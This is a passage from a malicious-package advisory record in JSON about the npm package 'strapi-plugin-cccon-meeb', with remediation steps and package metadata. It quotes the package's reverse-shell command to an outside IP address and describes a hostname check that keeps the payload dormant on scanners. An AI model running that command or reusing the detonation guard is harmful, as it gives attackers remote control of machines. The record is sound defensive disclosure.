If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4.

Execution is gated by `os.hostname() === 'ubuntu-fc-uvm'`: on non-matching hosts the script exits silently, while on the targeted hostname it spawns `bash -i \u003e\u0026 /dev/tcp/14.225.210.85/80 0\u003e\u00261`. The hostname allowlist is a detonation guard that keeps the payload dormant on generic scanners and typical developer machines while firing on the intended target. The package is presented as a Strapi plugin but ships no plugin functionality relevant to this behavior in the postinstall path; the lifecycle script's sole effect is the reverse-shell attempt.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in strapi-plugin-cccon-meeb (npm)","id":"MAL-2026-16225","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"strapi-plugin-cccon-meeb","purl":"pkg:npm/strapi-plugin-cccon-meeb","source":"MAL-2026-16225"}],"products":null,"published":"2026-09-16","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-16225/"}
